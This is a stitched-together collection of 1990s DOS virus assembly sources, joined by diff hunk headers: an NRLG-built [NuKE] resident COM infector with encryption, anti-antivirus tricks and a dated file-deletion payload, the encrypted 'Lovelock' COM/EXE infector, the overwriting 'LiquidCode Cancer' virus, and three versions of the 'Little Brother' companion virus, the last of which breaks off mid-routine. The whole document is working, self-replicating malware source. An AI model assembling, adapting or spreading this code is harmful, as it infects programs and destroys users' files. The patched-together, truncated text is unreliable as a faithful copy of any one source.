;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
.286
code segment
assume cs:code,ds:code
org 100h
start: CALL NEXT
NEXT:
mov di,sp ;take the stack pointer location
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
sub bp,offset next ;subtract the large code off this code
;
;*******************************************************************
; #1 DECRYPT ROUTINE
;*******************************************************************
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
je crypt2 ;yes! not decrypt
;----------------------------------------------------------
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt]+ bp ;di = first byte to decrypt
mov dx,1 ;dx = value for decrypt
;----------------------------------------------------------
deci: ;deci = fuck label!
;----------------------------------------------------------
ÿinc di
inc di
;----------------------------------------------------------
jmp bye ;######## BYE BYE F-PROT ! ##########
mov ah,4ch
int 21h
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
;-----------------------------------------------------------
mov ah,0bh ;######### BYE BYE TBAV ! ##########
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
;----------------------------------------------------------
loop deci ;repeat please!
;
;*****************************************************************
; #2 DECRYPT ROUTINE
;*****************************************************************
;
crypt: ;fuck label!
;
mov cx,offset fin ;cx = large of virus
lea di,[offset crypt2] + bp ;di = first byte to decrypt
;---------------------------------------------------------------
deci2: ;
xor byte ptr cs:[di],1 ;decrytion rutine
inc di ;very simple...
loop deci2 ;
;---------------------------------------------------------------
crypt2: ;fuck label!
;
MOV AX,0CACAH ;call to my resident interrup mask
INT 21H ;for chek "I'm is residet?"
CMP Bh,0CAH ;is equal to CACA?
JE PUM2 ;yes! jump to runnig program
call action
;*****************************************************************
; NRLG FUNCTIONS (SELECTABLE)
;*****************************************************************
ÿ;****************************************************************
; PROCESS TO REMAIN RESIDENT
;****************************************************************
mov ax,3521h
int 21h ;store the int 21 vectors
mov word ptr [bp+int21],bx ;in cs:int21
mov word ptr [bp+int21+2],es ;
;---------------------------------------------------------------
push cs ;
pop ax ;ax = my actual segment
dec ax ;dec my segment for look my MCB
mov es,ax ;
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
;---------------------------------------------------------------
push cs ;
pop es ;
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
sub bx,17 + offset fin ;and 100H for the PSP total
mov ah,4ah ;used memory
int 21h ;put the new value to MCB
;---------------------------------------------------------------
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
mov ah,48h ;
int 21h ;request the memory to fuck DOS!
;---------------------------------------------------------------
dec ax ;ax=new segment
mov es,ax ;ax-1= new segment MCB
mov byte ptr es:[1],8 ;put '8' in the segment
;--------------------------------------------------------------
inc ax ;
mov es,ax ;es = new segment
lea si,[bp + offset start] ;si = start of virus
mov di,100h ;di = 100H (psp position)
mov cx,offset fin - start ;cx = lag of virus
push cs ;
pop ds ;ds = cs
cld ;mov the code
rep movsb ;ds:si >> es:di
;--------------------------------------------------------------
mov dx,offset virus ;dx = new int21 handler
mov ax,2521h ;
push es ;
pop ds ;
int 21h ;set the vectors
;-------------------------------------------------------------
pum2: ;
;
mov ah,byte ptr [cs:bp + real] ;restore the 3
mov byte ptr cs:[100h],ah ;first bytes
mov ax,word ptr [cs:bp + real + 1] ;
mov word ptr cs:[101h],ax ;
;-------------------------------------------------------------
mov ax,100h ;
jmp ax ;jmp to execute
;
;*****************************************************************
;* HANDLER FOR THE INT 21H
;*****************************************************************
;
VIRUS: ;
;
cmp ah,4bh ;is a 4b function?
je REPRODUCCION ;yes! jump to reproduce !
cmp ah,11h
je dir
cmp ah,12h
je dir
dirsal:
cmp AX,0CACAH ;is ... a caca function? (resident chek)
jne a3 ;no! jump to a3
mov bh,0cah ;yes! put ca in bh
a3: ;
JMP dword ptr CS:[INT21] ;jmp to original int 21h
ret ;
make db '[NuKE] N.R.L.G. AZRAEL'
dir:
jmp dir_s
;-------------------------------------------------------------
REPRODUCCION: ;
;
pushf ;put the register
pusha ;in the stack
push si ;
push di ;
push bp ;
push es ;
push ds ;
;-------------------------------------------------------------
push cs ;
pop ds ;
mov ax,3524H ;get the dos error control
int 21h ;interupt
mov word ptr error,es ;and put in cs:error
mov word ptr error+2,bx ;
mov ax,2524H ;change the dos error control
mov dx,offset all ;for my "trap mask"
int 21h ;
;-------------------------------------------------------------
pop ds ;
pop es ;restore the registers
pop bp ;
pop di ;
pop si ;
popa ;
popf ;
;-------------------------------------------------------------
pushf ;put the registers
pusha ;
push si ;HEY! AZRAEL IS CRAZY?
push di ;PUSH, POP, PUSH, POP
push bp ;PLEEEEEAAAAAASEEEEEEEEE
push es ;PURIFY THIS SHIT!
push ds ;
;-------------------------------------------------------------
mov ax,4300h ;
int 21h ;get the file
mov word ptr cs:[attrib],cx ;atributes
;-------------------------------------------------------------
mov ax,4301h ;le saco los atributos al
xor cx,cx ;file
int 21h ;
;-------------------------------------------------------------
mov ax,3d02h ;open the file
int 21h ;for read/write
mov bx,ax ;bx=handle
;-------------------------------------------------------------
mov ax,5700h ;
int 21h ;get the file date
mov word ptr cs:[hora],cx ;put the hour
mov word ptr cs:[dia],dx ;put the day
and cx,word ptr cs:[fecha] ;calculate the seconds
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
jne seguir ;yes! the file is infected!
jmp cerrar ;
;------------------------------------------------------------
seguir: ;
mov ax,4202h ;move the pointer to end
call movedor ;of the file
;------------------------------------------------------------
push cs ;
pop ds ;
sub ax,3 ;calculate the
mov word ptr [cs:largo],ax ;jmp long
;-------------------------------------------------------------
mov ax,04200h ;move the pointer to
call movedor ;start of file
;----------------------------------------------------------
push cs ;
pop ds ;read the 3 first bytes
mov ah,3fh ;
mov cx,3 ;
lea dx,[cs:real] ;put the bytes in cs:[real]
int 21h ;
;----------------------------------------------------------
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
jne er1 ;yes! is a EXE... fuckkk!
;----------------------------------------------------------
jmp cerrar
er1:
;----------------------------------------------------------
mov ax,4200h ;move the pointer
call movedor ;to start fo file
;----------------------------------------------------------
push cs ;
pop ds ;
mov ah,40h ;
mov cx,1 ;write the JMP
lea dx,[cs:jump] ;instruccion in the
int 21h ;fist byte of the file
;----------------------------------------------------------
mov ah,40h ;write the value of jmp
mov cx,2 ;in the file
lea dx,[cs:largo] ;
int 21h ;
;----------------------------------------------------------
mov ax,04202h ;move the pointer to
call movedor ;end of file
;----------------------------------------------------------
push cs ;
pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;---------------------------------
action: ;
MOV AH,2AH ;
INT 21H ;get date
CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?
JE cont ;nop! fuck ret
cmp byte ptr cs:[action_dia+bp],32 ;
jne no_day ;
cont: ;
cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?
je set ;
cmp byte ptr cs:[action_mes+bp],13 ;
jne NO_DAY ;nop! fuck ret
set: ;
;
mov ds,word ptr cs:[2ch] ;
xor bx,bx ;
nuevo: ;
inc bx ;get file name!
mov dl,byte ptr ds:[bx] ;
cmp dl,00 ;
jne nuevo ;
nuevo1: ;
inc bx ;
mov dl,byte ptr ds:[bx] ;get file name!
cmp dl,00 ;
jne nuevo1 ;
nuevo2: ;
inc bx ;
mov dl,byte ptr ds:[bx] ;get file name!
cmp dl,01 ;
jne nuevo2 ;
nuevo3: ;
inc bx ;
mov dl,byte ptr ds:[bx] ;get file name!
cmp dl,00 ;
jne nuevo3 ;
cero3: ;
inc bx ;
push bx ;
pop dx ;
push dx ;
push ds ;
push cs ;
pop ds ;
push cs ;
pop es ;
pop ds ;
pop dx ;
MOV AH,41H ;delete name
iNT 21H ;ds:dx=file mame
int 20h ;
NO_DAY: ;
ret ;
;---------------------------------
ÿ;-------------;
Dir_S: ;
jmp dirsal ;
no_Good:iret ;
;-------------;
ÿaction_dia Db 01H ;day for the action
action_mes Db 01H ;month for the action
FECHA DW 012H ;Secon for mark
FECHAd Db 012H ;Secon for mark dir st
fin:
code ends
end start
@@ -0,0 +1,352 @@
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; File: LOVELOCK.ASM
; Lovelock by Ender
checkres1 = 'DA'
checkres2 = 'PS'
id = 'DA'
.model tiny
.code
; Assemble with:
; TASM /m3 filename.ASM
; TLINK filename.OBJ
; EXE2BIN filename.EXE filename.COM
org 0000h
start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h,0037h ; xor word ptr [bx], xxxx
encryptvalue dw 0000h
inc bx
inc bx
loop encrypt_loop
endencrypt:
call next
next:
pop bp
sub bp, offset next
push es
push ds
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop ds
pop es
cmp sp, id
jne restore_COM
restore_EXE:
mov ax, es
add ax, 0010h
add cs:[bp+word ptr origCSIP+2], ax
add ax, cs:[bp+word ptr origSPSS]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS+2]
sti
db 00EAh
origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb
movsw
ret
INT24:
mov al, 0003h
iret
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 3524h
int 0021h
push es
push bx
mov ax, 2524h
lea dx, INT24 ; ASSumes ds=cs
int 0021h
push cs
pop es
mov bx, dx
cmp word ptr [bx+4], 'NA' ; Check if COMMAND.COM
jz return ; Exit if so
lds dx, cs:filename
mov ax, 4300h
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs
pop ds
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov dx, offset readbuffer
mov ah, 003Fh
mov cx, 001Ah
int 0021h
xor dx, dx
xor cx, cx
mov ax, 4202h
int 0021h
cmp word ptr [offset readbuffer], 'ZM'
jz checkEXE
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
cmp ax, (heap-start) ; check if too small
jb jmp_close ; Exit if so
mov di, offset old3
mov si, offset readbuffer
movsw
movsb
mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:
lea si, readbuffer+14h
lea di, origCSIP
movsw ; Save original CS and IP
movsw
sub si, 000Ah
movsw ; Save original SS and SP
movsw
push bx ; save file handle
mov bx, word ptr [readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl
push dx ; Save file size on the
push ax ; stack
sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX
mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX
mov word ptr [readbuffer+10h], id ; Initial SP
mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [readbuffer+14h], dx ; IP Offset
mov word ptr [readbuffer+16h], ax ; Para disp CS in module.
mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx
add ax, heap-start
adc dx, 0000h
mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h
mov word ptr [readbuffer+2], ax ; the EXE header.
mov word ptr [readbuffer+4], dx ; Fix-up the file size in
pop bx ; restore file handle
mov cx, 001Ah
continue_infect:
push cx ; save # bytes to write
get_encrypt_value:
mov ah, 002Ch ; Get current time
int 0021h
or dx, dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[patchstart+1], si
mov word ptr ds:[encryptvalue], dx
mov cx, (heap-encrypt)/2
mov di, offset encryptbuffer
mov si, offset ENCRYPT
push si
rep movsw ; copy virus to buffer
mov ax, offset endencrypt-encrypt+encryptbuffer
mov word ptr ds:[patchstart+1], ax
pop si
push offset endencrypt
mov byte ptr [offset endencrypt], 00C3h ; retn
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [offset endencrypt]
mov ah, 0040h
mov cx, heap-encrypt
mov dx, offset encryptbuffer
int 0021h
xor cx, cx
mov ax, 4200h
xor dx, dx
int 0021h
mov dx, offset readbuffer
mov ah, 0040h
pop cx
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
pop dx
pop ds
mov ax, 2524h
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/Gý]',0 ; Phalcon/Skism Gý
creator db 'Ender',0
virusname db 'Lovelock',0
heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
Binary file not shown.
@@ -0,0 +1,138 @@
page ,132
name LiquidCodeCANCER
title LQCancer - a mutation of the V-847 virus
.radix 16
code segment
assume cs:code,ds:code
org 100
olddta equ 80
virlen equ offset endcode - offset start
smalcod equ offset endcode - offset transf
buffer equ offset endcode + 100
newdta equ offset endcode + 10
fname = newdta + 1E
virlenx = offset endcode - offset start
start:
jmp cancer
ident db 'LiquidCode<tm>'
counter db 0
allcom db '*.COM',0
vleng db virlen
n_10D db 3 ;Unused
progbeg dd ?
eof dw ?
handle dw ?
cancer:
mov ax,cs ;Move program code
add ax,1000 ; 64K bytes forward
mov es,ax
inc [counter]
mov si,offset start
xor di,di
mov cx,virlen
rep movsb
mov dx,newdta ;Set new Disk Transfer Address
mov ah,1A ;Set DTA
mov ah,ah ;****
int 21
mov ah,ah ;****
mov dx,offset allcom ;Search for '*.COM' files
mov cx,110b ;Normal, Hidden or System
mov ah,4E ;Find First file
int 21
jc done ;Quit if none found
mainlp:
mov dx,offset fname
mov ax,3D02 ;Open file in Read/Write mode
int 21
mov [handle],ax ;Save handle
mov bx,ax
push es
pop ds
mov dx,buffer
mov cx,0FFFF ;Read all bytes
mov ah,3F ;Read from handle
int 21 ;Bytes read in AX
add ax,buffer
mov cs:[eof],ax ;Save pointer to the end of file
xor cx,cx ;Go to file beginning
mov dx,cx
mov bx,cs:[handle]
mov ax,4200 ;LSEEK from the beginning of the file
int 21
jc close ;Leave this file if error occures
mov dx,0 ;Write the whole code (virus+file)
mov cx,cs:[eof] ; back onto the file
mov bx,cs:[handle]
mov ah,40 ;Write to handle
int 21
close:
mov bx,cs:[handle]
mov ah,3E ;Close the file
int 21
push cs
pop ds ;Restore DS
mov ah,4F ;Find next matching file
mov dx,newdta
int 21
jc done ;Exit if all found
jmp mainlp ;Otherwise loop again
done:
mov dx,olddta ;Restore old Disk Transfer Address
mov ah,1A ;Set DTA
int 21
mov si,offset transf ;Move this part of code
mov cx,smalcod ;Code length
xor di,di ;Move to ES:0
rep movsb ;Do it
xor di,di ;Clear DI
mov word ptr cs:[progbeg],0
mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
jmp cs:[progbeg] ;Jump at program start
transf:
push ds
pop es
mov si,buffer+100
cmp [counter],1
jne skip
sub si,200
skip:
mov di,offset start
mov di,di ;****
mov bx,0ffff ;****
mov cx,bx ;Restore original program's code
mov ah,ah ;****
sub cx,si
rep movsb
mov word ptr cs:[start],offset start
mov word ptr cs:[start+2],ds
jmp dword ptr cs:[start] ;Jump to program start
endcode label byte
int 20 ;Dummy program
int 20 ;???
db 0 ;Unused
code ends
end start

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,247 @@
;****************************************************************************
;* *
;* ASM Source Code For: *
;* Little Brother Virus - Version 1 *
;* *
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
org 100h
FILELEN equ end - begin
RESPAR equ (FILELEN/16) + 17
VERSION equ 1
oi21 equ end
nameptr equ end+4
DTA equ end+8
.RADIX 16
;****************************************************************************
;* Start the program!
;****************************************************************************
begin: cld
mov ax,0DEDEh ;already installed?
int 21h
cmp ah,041h
je cancel
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
movsw
movsw
push es ;set vector to new handler
pop ds
mov dx,offset ni21
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
cmp ax,0DEDEh ;install-check ?
je do_DEDE
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
do_DEDE: mov ax,04100h+VERSION ;return a signature
popf
iret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
mov si,offset EXE_txt ;is extension 'EXE'?
mov cx,3
rep cmpsb
jnz do_com
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ax,2524h
int 21
lds dx,dword ptr [nameptr] ;create the file (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the file
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;delete the file
mov ah,41h
int 21
return1: pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext
return: ret
do_com: call findfirst ;is the file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return
mov si,offset COM_txt ;change extension to COM
jmp short change_ext
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,'.'
repnz scasb
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

@@ -0,0 +1,265 @@
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
RESPAR equ (FILELEN/16d) + 17d
VERSION equ 2
oi21 equ end
nameptr equ end+4
DTA equ end+8
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ;get old DTA
int 21
push es
push bx
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
push di
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt ;is extension 'EXE'?
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file
return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21
ret
do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return ;no, execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,256 @@
;****************************************************************************
;* Little Brother version 3
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
oi21 equ end
nameptr equ end+4
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov sp,300
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: push cs ;restore segment registers
pop ds
push cs
pop es
mov bx,30 ;free memory
mov ah,4A
int 21
mov es,ds:[002C] ;search filename in environment
mov di,0
mov ch,0FFh
mov al,01
repnz scasb
inc di
mov word ptr [nameptr],di
mov word ptr [nameptr+2],es
mov si,offset EXE_txt ;change extension to .EXE
call change_ext
push cs
pop es
mov bx,offset param ;make EXEC param. block
mov [bx+4],cs
mov [bx+8],cs
mov [bx+0C],cs
lds dx,dword ptr [nameptr]
mov ax,4B00 ;execute .EXE program
int 21
mov ah,4Dh ;ask return code
int 21
